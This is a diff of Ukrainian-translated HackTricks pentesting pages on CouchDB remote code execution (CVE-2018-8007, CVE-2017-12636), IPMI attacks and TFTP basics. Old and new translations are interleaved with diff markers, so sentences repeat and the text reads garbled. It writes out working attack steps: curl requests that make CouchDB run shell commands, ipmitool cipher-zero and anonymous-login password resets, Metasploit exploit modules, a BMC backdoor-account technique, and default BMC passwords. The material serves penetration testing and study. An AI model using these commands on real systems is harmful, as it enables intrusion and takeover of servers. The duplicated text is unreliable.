Подальша перевірка показує ін'єковану конфігурацію в `local.ini`, контрастуючи її з резервною копією, щоб підкреслити зміни:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||
119,124d118
|
||||
|
@ -169,77 +170,78 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
|||
< [os_daemons]
|
||||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||||
```
|
||||
Початково очікуваний файл (`/tmp/0xdf`) не існує, що свідчить про те, що викликана команда ще не виконана. Подальше розслідування показує, що працюють процеси, пов'язані з CouchDB, включаючи той, який може потенційно виконати викликану команду:
|
||||
Спочатку очікуваний файл (`/tmp/0xdf`) не існує, що вказує на те, що ін'єкована команда ще не була виконана. Подальше розслідування виявляє, що запущені процеси, пов'язані з CouchDB, включаючи один, який потенційно може виконати ін'єковану команду:
|
||||
```bash
|
||||
root@canape:/home/homer/bin# ps aux | grep couch
|
||||
```
|
||||
При завершенні ідентифікованого процесу CouchDB та дозволі системі автоматично перезапустити його, виконання впровадженої команди спрацьовує, що підтверджується наявністю раніше відсутнього файлу:
|
||||
Завершивши виявлений процес CouchDB і дозволивши системі автоматично перезапустити його, виконується ін'єкована команда, що підтверджується наявністю раніше відсутнього файлу:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# kill 711
|
||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||
/tmp/0xdf
|
||||
```
|
||||
Це дослідження підтверджує можливість використання CVE-2018-8007 за певних умов, зокрема вимогу до доступу на запис до файлу `local.ini`. Надані приклади коду та процедурні кроки надають чітке керівництво для реплікації експлойту в контрольованому середовищі.
|
||||
Це дослідження підтверджує життєздатність експлуатації CVE-2018-8007 за певних умов, зокрема вимогу наявності прав на запис до файлу `local.ini`. Наведені приклади коду та процедурні кроки пропонують чіткий посібник для відтворення експлуатації в контрольованому середовищі.
|
||||
|
||||
Для отримання додаткових відомостей про CVE-2018-8007, дивіться рекомендації від mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||||
Для отримання додаткової інформації про CVE-2018-8007, зверніться до рекомендацій mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||||
|
||||
### **Дослідження CVE-2017-12636 з правами на запис у local.ini**
|
||||
|
||||
Приклад [звідси](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
Була досліджена вразливість під назвою CVE-2017-12636, яка дозволяє виконання коду через процес CouchDB, хоча певні конфігурації можуть запобігти її використанню. Незважаючи на наявність численних посилань на Proof of Concept (POC) в Інтернеті, необхідні налаштування для використання вразливості в CouchDB версії 2, відмінної від загально цілей версії 1.x. Початкові кроки включають перевірку версії CouchDB та підтвердження відсутності очікуваного шляху запитів серверів:
|
||||
Вразливість, відома як CVE-2017-12636, була досліджена, що дозволяє виконання коду через процес CouchDB, хоча певні конфігурації можуть перешкоджати її експлуатації. Незважаючи на численні посилання на Proof of Concept (POC), доступні в Інтернеті, необхідні коригування для експлуатації вразливості на версії CouchDB 2, яка відрізняється від зазвичай націленої версії 1.x. Початкові кроки включають перевірку версії CouchDB та підтвердження відсутності очікуваного шляху серверів запитів:
|
||||
```bash
|
||||
curl http://localhost:5984
|
||||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||
```
|
||||
Для пристосування до версії CouchDB 2.0 використовується новий шлях:
|
||||
Щоб підтримати версію CouchDB 2.0, використовується новий шлях:
|
||||
```bash
|
||||
curl 'http://0xdf:df@localhost:5984/_membership'
|
||||
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||||
```
|
||||
Спроби додати та викликати новий сервер запитів зустрілися з помилками, пов'язаними з дозволами, як це вказано у наступному виводі:
|
||||
Спроби додати та викликати новий сервер запитів зустрілися з помилками, пов'язаними з дозволами, про що свідчить наступний вихід:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
Подальше розслідування виявило проблеми з дозволами у файлі `local.ini`, який не можна було змінювати. Змінивши дозволи файлу за допомогою доступу root або homer, стало можливим продовжити:
|
||||
Подальше розслідування виявило проблеми з дозволами на файл `local.ini`, який не можна було змінити. Змінивши дозволи файлу з доступом root або homer, стало можливим продовжити:
|
||||
```bash
|
||||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||||
chmod 666 /home/homer/etc/local.ini
|
||||
```
|
||||
Після цього спроби додати запит сервера були успішними, як це підтверджується відсутністю повідомлень про помилки у відповіді. Успішне змінення файлу `local.ini` було підтверджено порівнянням файлів:
|
||||
Наступні спроби додати сервер запитів були успішними, про що свідчить відсутність повідомлень про помилки у відповіді. Успішна модифікація файлу `local.ini` була підтверджена через порівняння файлів:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
Процес продовжувався створенням бази даних та документа, за яким слідувала спроба виконати код через власне відображення виду, яке відповідає новій доданій серверній запиту:
|
||||
Процес продовжився створенням бази даних та документа, після чого була спроба виконати код через користувацьке відображення, що відображає новостворений сервер запитів:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||||
```
|
||||
**[Опис](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** з альтернативним пейлоудом надає додаткові відомості про експлуатацію CVE-2017-12636 в певних умовах. **Корисні ресурси** для експлуатації цієї вразливості включають:
|
||||
A **[резюме](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** з альтернативним payload надає додаткові відомості про експлуатацію CVE-2017-12636 за певних умов. **Корисні ресурси** для експлуатації цієї вразливості включають:
|
||||
|
||||
- [Код експлоіту POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
- [Запис у базі даних експлоітів](https://www.exploit-db.com/exploits/44913/)
|
||||
- [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
- [Exploit Database entry](https://www.exploit-db.com/exploits/44913/)
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:5984 couchdb`
|
||||
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,112 +2,113 @@
|
|||
|
||||
## 623/UDP/TCP - IPMI
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Базова інформація
|
||||
## Основна інформація
|
||||
|
||||
### **Огляд IPMI**
|
||||
|
||||
**[Інтерфейс управління платформою Inteligent (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** пропонує стандартизований підхід до віддаленого управління та моніторингу комп'ютерних систем, незалежно від операційної системи або стану живлення. Ця технологія дозволяє системним адміністраторам управляти системами віддалено, навіть коли вони вимкнені або не реагують, і особливо корисна для:
|
||||
**[Інтерфейс управління платформою (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** пропонує стандартизований підхід до віддаленого управління та моніторингу комп'ютерних систем, незалежно від операційної системи або стану живлення. Ця технологія дозволяє системним адміністраторам віддалено керувати системами, навіть коли вони вимкнені або не відповідають, і особливо корисна для:
|
||||
|
||||
- Конфігурацій перед завантаженням ОС
|
||||
- Управління вимкненням живлення
|
||||
- Відновлення після відмови системи
|
||||
- Управління вимкненням
|
||||
- Відновлення після збоїв системи
|
||||
|
||||
IPMI може відслідковувати температури, напруги, швидкості вентиляторів та джерела живлення, а також надавати інформацію про інвентар, переглядати журнали обладнання та надсилати сповіщення через SNMP. Для його роботи необхідні джерело живлення та підключення до ЛВС.
|
||||
IPMI здатен моніторити температури, напруги, швидкості вентиляторів та блоки живлення, а також надавати інформацію про інвентаризацію, переглядати апаратні журнали та надсилати сповіщення через SNMP. Для його роботи необхідні джерело живлення та LAN-з'єднання.
|
||||
|
||||
Починаючи з 1998 року, IPMI був підтриманий численними виробниками, покращуючи можливості віддаленого управління, особливо з підтримкою версії 2.0 для серійного зв'язку через ЛВС. Ключові компоненти включають:
|
||||
З моменту свого впровадження компанією Intel у 1998 році, IPMI підтримується численними постачальниками, що покращує можливості віддаленого управління, особливо з підтримкою версії 2.0 для серійного з'єднання через LAN. Ключові компоненти включають:
|
||||
|
||||
- **Контролер керування платою (BMC):** Основний мікроконтролер для операцій IPMI.
|
||||
- **Шини та інтерфейси зв'язку:** Для внутрішнього та зовнішнього зв'язку, включаючи ICMB, IPMB та різні інтерфейси для локальних та мережевих підключень.
|
||||
- **Контролер управління материнською платою (BMC):** Основний мікроконтролер для операцій IPMI.
|
||||
- **Комунікаційні шини та інтерфейси:** Для внутрішньої та зовнішньої комунікації, включаючи ICMB, IPMB та різні інтерфейси для локальних та мережевих з'єднань.
|
||||
- **Пам'ять IPMI:** Для зберігання журналів та даних.
|
||||
|
||||
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||||
|
||||
**Порт за замовчуванням**: 623/UDP/TCP (Зазвичай використовується UDP, але також може працювати на TCP)
|
||||
**Порт за замовчуванням**: 623/UDP/TCP (Зазвичай працює на UDP, але також може працювати на TCP)
|
||||
|
||||
## Перелік
|
||||
## Перерахування
|
||||
|
||||
### Відкриття
|
||||
### Виявлення
|
||||
```bash
|
||||
nmap -n -p 623 10.0.0./24
|
||||
nmap -n-sU -p 623 10.0.0./24
|
||||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
```
|
||||
Ви можете **ідентифікувати** **версію** за допомогою:
|
||||
Ви можете **виявити** **версію** за допомогою:
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||
```
|
||||
### Вразливості IPMI
|
||||
### IPMI Вразливості
|
||||
|
||||
У світі IPMI 2.0 була виявлена значна вразливість безпеки Деном Фармером, яка виявляє вразливість через **тип шифрування 0**. Цю вразливість, детально задокументовану в [дослідженні Дена Фармера](http://fish2.com/ipmi/cipherzero.html), дозволяє несанкціонований доступ з будь-яким паролем, якщо цільовим є дійсний користувач. Ця слабкість була виявлена в різних BMC від виробників, таких як HP, Dell та Supermicro, що свідчить про поширену проблему у всіх реалізаціях IPMI 2.0.
|
||||
У сфері IPMI 2.0 значна вразливість була виявлена Даном Фармером, що відкриває вразливість через **cipher type 0**. Ця вразливість, детально задокументована в [дослідженні Дана Фармера](http://fish2.com/ipmi/cipherzero.html), дозволяє несанкціонований доступ з будь-яким паролем, якщо цільовим є дійсний користувач. Ця слабкість була виявлена в різних BMC від виробників, таких як HP, Dell та Supermicro, що свідчить про поширену проблему в усіх реалізаціях IPMI 2.0.
|
||||
|
||||
### **Обхід аутентифікації IPMI через шифр 0**
|
||||
### **Обхід автентифікації IPMI через Cipher 0**
|
||||
|
||||
Для виявлення цієї вразливості можна використати наступний допоміжний сканер Metasploit:
|
||||
Щоб виявити цю вразливість, можна використовувати наступний допоміжний сканер Metasploit:
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||
```
|
||||
Експлуатація цієї уразливості можлива за допомогою `ipmitool`, як показано нижче, що дозволяє отримувати список та змінювати паролі користувачів:
|
||||
Експлуатація цього недоліку можлива за допомогою `ipmitool`, як показано нижче, що дозволяє переглядати та змінювати паролі користувачів:
|
||||
```bash
|
||||
apt-get install ipmitool # Installation command
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
||||
```
|
||||
### **Отримання віддаленого хешу пароля за допомогою аутентифікації IPMI 2.0 RAKP**
|
||||
### **IPMI 2.0 RAKP Аутентифікація Віддалене Отримання Хешів Паролів**
|
||||
|
||||
Ця уразливість дозволяє отримати захешовані паролі з сіллю (MD5 та SHA1) для будь-якого існуючого імені користувача. Для тестування цієї уразливості Metasploit пропонує модуль:
|
||||
Ця вразливість дозволяє отримувати посолені хешовані паролі (MD5 та SHA1) для будь-якого існуючого імені користувача. Щоб протестувати цю вразливість, Metasploit пропонує модуль:
|
||||
```bash
|
||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||
```
|
||||
### **Анонімна аутентифікація IPMI**
|
||||
### **IPMI Анонімна Аутентифікація**
|
||||
|
||||
Стандартна конфігурація в багатьох BMC дозволяє "анонімний" доступ, що характеризується порожніми рядками для імені користувача та пароля. Цю конфігурацію можна використовувати для скидання паролів користувачів за допомогою `ipmitool`:
|
||||
За замовчуванням у багатьох BMC дозволяється "анонімний" доступ, що характеризується порожніми рядками імені користувача та пароля. Цю конфігурацію можна використати для скидання паролів іменованих облікових записів користувачів за допомогою `ipmitool`:
|
||||
```bash
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||||
```
|
||||
### **Чіткі паролі IPMI Supermicro**
|
||||
### **Supermicro IPMI Паролі у відкритому вигляді**
|
||||
|
||||
Критичний вибір дизайну в IPMI 2.0 передбачає зберігання чітких паролів у BMC для автентифікації. Зберігання Supermicro цих паролів у місцях, таких як `/nv/PSBlock` або `/nv/PSStore`, викликає серйозні проблеми з безпекою:
|
||||
Критичний вибір дизайну в IPMI 2.0 вимагає зберігання паролів у відкритому вигляді в BMC для цілей аутентифікації. Зберігання цих паролів компанією Supermicro в таких місцях, як `/nv/PSBlock` або `/nv/PSStore`, викликає значні проблеми з безпекою:
|
||||
```bash
|
||||
cat /nv/PSBlock
|
||||
```
|
||||
### **Вразливість Supermicro IPMI UPnP**
|
||||
### **Уразливість Supermicro IPMI UPnP**
|
||||
|
||||
Включення Supermicro UPnP SSDP слухача в його прошивку IPMI, зокрема на UDP порт 1900, вносить серйозний ризик безпеки. Вразливості в Intel SDK для UPnP пристроїв версії 1.3.1, які детально описані в [розкритті Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), дозволяють отримати root доступ до BMC:
|
||||
Включення Supermicro прослуховувача UPnP SSDP у своєму прошивці IPMI, зокрема на UDP порту 1900, створює серйозний ризик безпеки. Уразливості в Intel SDK для UPnP Devices версії 1.3.1, як детально описано в [розкритті Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), дозволяють отримати доступ до BMC з правами root:
|
||||
```bash
|
||||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||
```
|
||||
### Брутфорс
|
||||
### Brute Force
|
||||
|
||||
**HP рандомізує пароль за замовчуванням** для свого продукту **Integrated Lights Out (iLO)** під час виробництва. Ця практика відрізняється від інших виробників, які зазвичай використовують **статичні облікові дані за замовчуванням**. Нижче наведено узагальнення облікових даних за замовчуванням для різних продуктів:
|
||||
**HP випадковим чином генерує стандартний пароль** для свого **Integrated Lights Out (iLO)** продукту під час виробництва. Ця практика контрастує з іншими виробниками, які зазвичай використовують **статичні стандартні облікові дані**. Підсумок стандартних імен користувачів та паролів для різних продуктів наведено нижче:
|
||||
|
||||
- **HP Integrated Lights Out (iLO)** використовує **фабричний рандомізований рядок з 8 символів** як пароль за замовчуванням, що показує вищий рівень безпеки.
|
||||
- Продукти, такі як **Dell's iDRAC, IBM's IMM** та **Fujitsu's Integrated Remote Management Controller**, використовують легко вгадувані паролі, такі як "calvin", "PASSW0RD" (з нулем) та "admin" відповідно.
|
||||
- Так само, **Supermicro IPMI (2.0), Oracle/Sun ILOM** та **ASUS iKVM BMC** також використовують прості облікові дані за замовчуванням, де "ADMIN", "changeme" та "admin" слугують їх паролями.
|
||||
- **HP Integrated Lights Out (iLO)** використовує **фабрично випадкову 8-символьну строку** як свій стандартний пароль, демонструючи вищий рівень безпеки.
|
||||
- Продукти, такі як **iDRAC від Dell, IMM від IBM** та **Інтегрований контролер віддаленого управління Fujitsu**, використовують легко вгадувані паролі, такі як "calvin", "PASSW0RD" (з нулем) та "admin" відповідно.
|
||||
- Аналогічно, **Supermicro IPMI (2.0), Oracle/Sun ILOM** та **ASUS iKVM BMC** також використовують прості стандартні облікові дані, з "ADMIN", "changeme" та "admin" як їх паролі.
|
||||
|
||||
|
||||
## Доступ до Хоста через BMC
|
||||
## Accessing the Host via BMC
|
||||
|
||||
Адміністративний доступ до контролера базової плати (BMC) відкриває різні шляхи для доступу до операційної системи хоста. Простий підхід полягає в експлуатації функціональності клавіатури, відео та миші (KVM) BMC. Це можна зробити шляхом перезавантаження хоста до кореневої оболонки через GRUB (використовуючи `init=/bin/sh`) або завантаження з віртуального CD-ROM, встановленого як диск для відновлення. Такі методи дозволяють безпосередньо маніпулювати диском хоста, включаючи вставлення задніх дверей, вилучення даних або будь-які необхідні дії для оцінки безпеки. Однак це вимагає перезавантаження хоста, що є значним недоліком. Без перезавантаження доступ до працюючого хоста складніший і залежить від конфігурації хоста. Якщо фізична або послідовна консоль хоста залишається увімкненою, її легко можна захопити через функціональності BMC KVM або послідовного доступу через LAN (sol) за допомогою `ipmitool`. Дослідження експлуатації спільних апаратних ресурсів, таких як шина i2c та чіп Super I/O, є областю, яка потребує подальших досліджень.
|
||||
Адміністративний доступ до Контролера управління материнською платою (BMC) відкриває різні шляхи для доступу до операційної системи хоста. Простий підхід полягає в експлуатації функціональності KVM BMC. Це можна зробити, перезавантаживши хост до кореневого оболонки через GRUB (використовуючи `init=/bin/sh`) або завантажившись з віртуального CD-ROM, налаштованого як диск відновлення. Такі методи дозволяють безпосередньо маніпулювати диском хоста, включаючи вставку бекдорів, витяг даних або будь-які необхідні дії для оцінки безпеки. Однак це вимагає перезавантаження хоста, що є значним недоліком. Без перезавантаження доступ до працюючого хоста є більш складним і варіюється в залежності від конфігурації хоста. Якщо фізична або серійна консолі хоста залишаються увійденими, їх можна легко захопити через функціональність KVM або serial-over-LAN (sol) BMC за допомогою `ipmitool`. Дослідження експлуатації спільних апаратних ресурсів, таких як шина i2c та Super I/O чип, є областю, що потребує подальшого вивчення.
|
||||
|
||||
## Введення задніх дверей в BMC з Хоста
|
||||
## Introducing Backdoors into BMC from the Host
|
||||
|
||||
Після компрометації хоста з BMC, **локальний інтерфейс BMC може бути використаний для вставлення облікового запису задніх дверей**, створюючи постійну присутність на сервері. Цей атака потребує наявності **`ipmitool`** на скомпрометованому хості та активації підтримки драйвера BMC. Наведені команди ілюструють, як новий обліковий запис може бути внесений в BMC за допомогою локального інтерфейсу хоста, що обходить потребу в аутентифікації. Ця техніка застосовна до широкого спектру операційних систем, включаючи Linux, Windows, BSD та навіть DOS.
|
||||
Після компрометації хоста, оснащеного BMC, **локальний інтерфейс BMC можна використовувати для вставки бекдор-облікового запису**, створюючи тривалу присутність на сервері. Ця атака вимагає наявності **`ipmitool`** на скомпрометованому хості та активації підтримки драйвера BMC. Наступні команди ілюструють, як новий обліковий запис користувача може бути вставлений у BMC, використовуючи локальний інтерфейс хоста, що обходить необхідність аутентифікації. Ця техніка застосовна до широкого спектру операційних систем, включаючи Linux, Windows, BSD та навіть DOS.
|
||||
```bash
|
||||
ipmitool user list
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
|
@ -125,8 +126,23 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `порт:623`
|
||||
* `port:623`
|
||||
|
||||
## References
|
||||
|
||||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,43 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
# Базова інформація
|
||||
# Basic Information
|
||||
|
||||
**Простий протокол передачі файлів (TFTP)** - це простий протокол, який використовується на **UDP-порту 69** і дозволяє передавати файли без необхідності аутентифікації. Виділений в **RFC 1350**, його простота означає відсутність ключових функцій безпеки, що призводить до обмеженого використання в Інтернеті. Однак **TFTP** широко використовується великими внутрішніми мережами для розподілу **файлів конфігурації** та **образів ROM** на пристрої, такі як **VoIP-телефони**, завдяки його ефективності в цих конкретних сценаріях.
|
||||
